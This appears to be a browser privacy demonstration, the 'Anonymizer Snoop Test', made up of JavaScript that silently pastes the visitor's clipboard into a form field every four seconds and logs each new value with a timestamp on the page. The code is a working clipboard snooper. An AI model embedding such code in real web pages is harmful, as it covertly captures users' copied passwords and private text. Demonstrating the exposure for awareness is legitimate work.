Take the Anonymizer Snoop Test...

<script>

var interval = 4000;
var prevClipboard = "";
var clipHistory = "";

function main ()
{
window.setTimeout("test();", interval);
return;
}

function test()
{

document.clippie.SWAP.value = "";
document.clippie.SWAP.focus();
document.execCommand("paste");
document.clippie.SWAP.blur();
newClipboard = document.clippie.SWAP.value;

document.clippie.SWAP.value = "";
if(newClipboard == prevClipboard)
{
window.setTimeout("test()", interval);
return;
}
clipHistory += "----> " + (new Date()) + ": ";

clipHistory += newClipboard + "";
prevClipboard = newClipboard;

document.clippie.MAIN.value = clipHistory;

window.setTimeout("test();", interval);
return;
}

main();

</script>